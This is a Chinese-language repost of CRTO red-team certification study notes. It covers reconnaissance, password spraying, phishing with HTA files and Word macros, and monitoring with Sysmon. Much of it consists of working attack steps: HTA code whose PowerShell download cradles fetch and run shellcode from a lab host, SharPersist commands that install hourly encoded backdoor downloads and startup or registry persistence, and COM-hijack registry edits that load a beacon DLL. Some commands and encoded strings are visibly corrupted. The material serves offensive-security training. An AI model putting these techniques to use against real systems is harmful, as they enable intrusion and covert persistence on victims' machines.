crto笔记

admin 2023年1月11日17:10:53评论72 views字数 8309阅读27分41秒阅读模式

来源于Secde0师傅的投稿

Crto Notes

Recon

Organisational

需要获取目标集团的人员姓名、组织架构、邮箱信息

Technical

  • Passvie:被动侦查依赖第三方来源,如谷歌、Linkedln、shodan、社交媒体(在实战中可以使用如fofa等空间浏览器、github搜索公司一些信息、百度文库等是否存在资料泄露、公司的招标文件或者查看是否存在网络拓扑常见学校)

  • Active:主动搜索获取对方域名、ip范围、子域名、vpn系统、OA系统、备案号、端口开放情况、邮箱系统、物联网设备等

dns Recon

使用dnscan进行子域扫描

使用spoofcheck来检测域是否可以被欺骗,该程序检查 SPF 和 DMARC 记录是否存在允许欺骗的弱配置。

Social Media

  • 使用Linkedln(领英)获取目标员工信息

  • 使用Google Dork获取websites, social media, email addresses

Initial Compromise

假定我们已经进入内网

Password Spraying

获取到邮箱或者账号名,我们可以进行密码爆破,这里组成的爆破字典需要注意当地的语种及语言系统,可以通过github搜索一下该国的弱口令top100

针对Office 365邮箱密码进行爆破我们可以使用 MailSniperSprayingToolkit

Internal Phishing

Hta Phishing

VBScript运行calc.exe

#VBScript<html>  <head>  <title>Hello World</title>   </head>  <body>  <h2>Hello World</h2>  <p>This is an HTA...</p>    </body>        <script language="VBScript">      Function Pwn()        Set shell = CreateObject("wscript.Shell")          shell.run "calc"        End Function                Pwn    </script></html>


注意:如果使用mshta.exe远程powershell加载后门,如果使用的shellcode是64位的,那么不会有Beacon上线,因为powershell默认调用的是32位的mshta.exe


解决上面问题不需要把shellcode换成32位,可以用下面代码

#VBScript#http://10.10.5.120:80/a为64bit shellcode http://10.10.5.120:80/b为32bit shellcode<html>  <head>  <title>Hello World</title>   </head>  <body>  <h2>Hello World</h2>  <p>This is an HTA...</p>    </body>        <script language="VBScript">        Function Pwn()            Set shell = CreateObject("wscript.Shell")            If shell.ExpandEnvironmentStrings("%PROCESSOR_ARCHITECTURE%")  "AMD64" Then                shell.run "powershell.exe -nop -w hidden -c ""IEx ((new-object net.webclient).downloadstring('http://10.10.5.120:80/a'))""            Else                shell.run "powershell.exe -nop -w hidden -c ""IEx ((new-object net.webclient).downloadstring('http://10.10.5.12o:8o/b'))" "            End If        End Function                Pwn    </script></html>


Word VBA Phishing

使用VBA脚本执行calc.exe

1、创建宏文件 xx.docm 或者xx.doc (推荐)2、创建宏 View>Macros>CreateSub AutoOpen()  Dim Shell As Object  Set Shell = CreateObject("wscript.shell")  Shell.Run "calc"End Sub

crto笔记

注意保存钓鱼文件时,记得删除一些个人信息

点击File>info>Inspect Document>Inspect Document

crto笔记

勾选个人信息,然后点击检查

crto笔记

检查出泄露信息删除

crto笔记

如果需要在VBA中运行powershell和如何制作欺骗文档见OSEP笔记


Sysmon

为了能直观的监测整个攻击,需要安装sysmon进行监控

有两种方案

ELK+Sysmon+Winlogbeat 这种方案优点就是可持续动态监控,缺点就是安装麻烦 ***

Sysmon+SysmonTools 优点部署容易,缺点每次分析sysmon日志需要重新导入到SysmonView **

sentinel-attack 待测试

watchAD 360团队研发的域安全入侵感知系统 ***

BlueSpawn 开源EDR **

RmEye 基于Sysmon的轻量级EDR,安装简单 *

maltrail 流量监控工具

Seatbelt

项目地址:https://github.com/GhostPack/Seatbelt

.Net 内网渗透工具,项目预编译使用的是.NET Framework3.5

这里有三条命令来查询计算机的.NET Framework版本信息

1、csBeacon>reg queryv x64 HKLMSOFTWAREMicrosoftNET Framework SetupNDPv4Full Release2。cmdcmd>reg query "HKLMSOFTWAREMicrosoftNet Framework SetupNDP" /s3、powershellpowershell>Get-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -Recurse | Get-ItemProperty -Name version -EA 0 | Where { $_.PSChildName -Match '^(?!S)p{L}'} | Select PSChildName, version

由于CRL组件的影响,我们不需要在枚举机器上安装.NET 3.5


crto笔记

从内存加载Seatbelt :https://anquan.baidu.com/article/1153

CS command

  • Screenshots 截屏

  • keylogger 键盘记录

  • jobs/jobkill  停止键盘记录


Host Persistence

常见的三种持久化方法

  • HKCU /HKLM Registry Autoruns

  • Scheduled Tasks

  • Startup Folder

SharPersist

Arguments/Options

  • -t - persistence technique

  • -c - command to execute

  • -a - arguments to command to execute (if applicable)

  • -f - the file to create/modify

  • -k - registry key to create/modify

  • -v - registry value to create/modify

  • -n - scheduled task name or service name

  • -m - method (add, remove, check, list)

  • -o - optional add-ons

  • -h - help page

Add Schtask

使用SharPersist 添加一个名为Updater服务名的计划任务,计划任务为使用powershell每隔一小时远程加载base64加密的后门脚本

#in Powershell#base64加密IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))Ps c:> $str = IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))PS c:>[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))SQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAAAG4AZQBOAC4AWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWB3AGAAABVAGEAZABZAHQACRBPAG4AZWAOACIAABOAHQACAA6ACBALWAXADAALAXADAALgA1AC4AMQAyADAALWBhACIAKQApAA=
#in linux#base64加密IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))root@kali:# str-'IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))'root@kali:# echo -en $str | iconv -t UTF-16LE | base64 -w oSQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAARAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWBAG4AABVAGEAZABZAHQACBPAG4AZWAOACIAABOAHQACAA6AC8ALWAXADAALAXAD AALgA1AC4AMQAyADAALWBhACIAKQApAA==

使用CS内存执行SharPersist添加一个名为Updater服务名的计划任务,计划任务为使用powershell每隔一小时远程加载base64加密的后门脚本

#csbeacon> execute-assembly c:ToolsSharPersistSharPersistbinDebugSharPersist.exe -t schtask -c "C:WindowsSystem32WindowsPowerShellvl.powershell.exe -a "-nop -w hidden -encSQBFAFAIAAOACAbBIAHCALQBVAGIARRBIAGMAdAAAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBUAHQAKQAUAGQAbWB3AGAAABVAGEAZABZAHQACRBPAG4AZWAOACIAABOAHQACAA6ACBALWAXADAALAXADAALgA1AC4AMQAyADAALwBhACIAKQApAA==" -n "Updater" -m add -o hourly[*] INFo: Adding scheduled task persistence[*] INFo: Command: C:WindowsSystem32WindowsPowerShellv1.opowershell.exe [*] INFo: Command Args: -nop -w hidden -encSQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAAAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWB3AGAAABVAGEAZABZAHQACBPAG4AZWAOACIAABOAHQACAA6AC8ALWAXADAALAXADAALgA1AC4AMQAyADAALWBhACIAKQApAA==[*] INFo: Scheduled Task Name: Updater [*] INFo: Option: hourly[+] succEss: Scheduled task added

Add lnk file in startup folder

用户第一次登录时,启动文件夹中的应用程序、文件和快捷方式会自动启动

beacon>  execute-assembly C:ToolsSharPersistSharPersistbinDebugSharPersist.exe -t startupfolder -c "C: WindowsSystem32WindowsPowerShelllv1.0powershell.exe" -a "-nop -w hidden -encSQBFAFgAIAAOACgAbgBlAHCALQBvAGIAagBlAGMAdAAgAG4AZQBOAC4AdwBlAGIAYwBSAGKAZQBuAHQAKQAuAGQAbwB3AG4AbABVAGEAZABZAHQAcgBpAG4AZWAOACIAAABOAHQACAA6AC8ALWAXADAALgAXADAALgA1AC4AMQAyADAALwBhACIAKQApAA==" -f "UserEnvSetup" -m add[*] INFO: Adding startup folder persistence[*] INFO: Command:  C:WindowsSystem32WindowsPowerShellv1.0powershell.exe [*] INFO: Command Args: -nop -w hidden -encSQBFAFgAIAAOACgAbgBlAHCALQBvAGIAagBIAGMAdAAgAG4AZQBOAC4AdwBlAGIAYwBsAGKAZQBuAHQAKQAUAGQAbwB3AG4AbABVAGEAZABZAHQACgBpAG4AZWAOACIAAABOAHQACAA6AC8ALWAXADAALgAXAD AALgA1AC4AMQAyADAALWBhACIAKQApAA==[*] INFO: File Name: UserEnvSetup[+] SUCCESS: Startup folder persistence created[*] INFO: LNK File located at:  C:UsersbfarmerAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupUserEnvSetup.1nk [*] INFO: SHA256 Hash of LNK file: B34647F8D8B7CE28C1FODA3FF444D9B7244C41370B88061472933B2607A169BC

Add HKCU and HKLM  reg to start on boot

创建hkcurun注册表自启动

beacon>  cd C:ProgramDatabeacon>  upload C:Payloadsbeacon-http.exebeacon>  mv beacon-http.exe updater.exebeacon>  execute-assembly C:ToolsSharPersistSharPersistlbinDebugSharPersist.exe -t reg -c "C:ProgramDataUpdater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add[*] INFO: Adding registry persistence[*] INFO: Command: C:ProgramDataUpdater.exe[*] INFO: Command Args: /q /n[*] INFO: Registry Key: HKCUYSoftwareMicrosoft WindowsCurrentVersionRun[*] INFO: Registry Value: Updater[*] INFO: Option:[+] SUCCESS: Registry persistence added

Hijacking COM Objects

由于劫持COM组件存在很大的业务和系统风险,所以我们需要在目标机器上查找安全影响力较小的组件

我们可以使用Process Monitor,在目标机器上运行procmon64.exe

查找符合以下要求的COM组件

  • RegOpenKey operations.

  • where the Result is NAME NOT FOUND.

  • and the Path ends with InprocServer32.

crto笔记

点击OK进行搜索,就能看到很多可以用于劫持的CLSID,尽可能选择常用的工具CLSID但不能使用的太频繁,如最好不要劫持浏览器。

crto笔记

这里选择C:Windowssystem32DllHost.exe里面的CLSID,地址为

HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}InprocServer32

我们可以在HKLM中找到该路径,但在HKCU不存在

crto笔记

利用这点,我们可以在注册表里创建一个HKCU项,并把Value指向Beacon DLL。

PS C:>  New-Item -Path "HKCU:SoftwareClassesCLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A805}"PS C:>  New-Item -Path "HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:beacon.d11"PS C:>  New-ItemProperty -Path "HKCU:SoftwarelClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}InprocServer32" -Name "ThreadingModel" -Value "Both"

当DllHost.exe加载这个COM组件时,我们就能得到一个Beacon。


寻找可劫持COM组件的另一个好地方是任务调度程序。许多默认的Windows任务实际上使用自定义触发器来调用COM对象,而不是在磁盘上执行二进制文件。因为它们是通过任务调度程序执行的,所以更容易预测它们何时被触发。我们可以使用以下PowerShell来查找兼容的任务。

#Powershell script$Tasks = Get-ScheduledTaskforeach ($Task in $Tasks){	if ($Task.Actions.ClassId -ne $null)	{		if ($Task.Triggers.Enabled -eq $true)		{			if ($Task.Principal.GroupId -eq "Users")			{				Write-Host "Task Name: " $Task.TaskName 				Write-Host "Task Path: " $Task.TaskPath 				Write-Host "CLSID: " $Task.Actions.ClassId 				Write-Host			}		}	}}

输出如下


crto笔记

查找{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}在HKEY_CLASSES_ROOTCLSID的的文件路径

crto笔记

我们可以看到它是一个InprocServer32,且只存在HKLM而不在HKCU

crto笔记

利用这点,我们可以在注册表里创建一个HKCU项,并把Value指向Beacon DLL。

PS C:>  New-Item -Path "HKCU:SoftwareClassesCLSID" -Name "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"PS C:>  New-Item -Path "HKCU:SoftwareClassesCLSID{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -Name "InprocServer32" -Value "C:beacon.d11"PS C:>  New-ItemProperty -Path "HKCU:SoftwarelClassesCLSID{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}InprocServer32" -Name "ThreadingModel" -Value "Both"

原文始发于微信公众号(e0m安全屋):crto笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月11日17:10:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   crto笔记http://cn-sec.com/archives/1512728.html

发表评论

匿名网友 填写信息